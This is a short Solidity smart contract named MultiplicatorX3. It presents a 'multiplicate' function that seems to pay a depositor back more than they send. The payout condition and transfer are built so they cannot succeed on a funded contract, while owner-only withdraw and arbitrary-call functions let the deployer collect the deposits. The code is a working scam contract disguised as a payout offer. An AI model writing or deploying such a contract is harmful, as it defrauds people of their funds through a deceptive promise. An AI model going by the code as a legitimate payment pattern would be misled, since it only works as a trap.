pragma solidity ^0.4.18; contract MultiplicatorX3 { address public Owner = msg.sender; function() public payable{} function withdraw() payable public { require(msg.sender == Owner); Owner.transfer(this.balance); } function Command(address adr,bytes data) payable public { require(msg.sender == Owner); adr.call.value(msg.value)(data); } function multiplicate(address adr) public payable { if(msg.value>=this.balance) { adr.transfer(this.balance+msg.value); } } }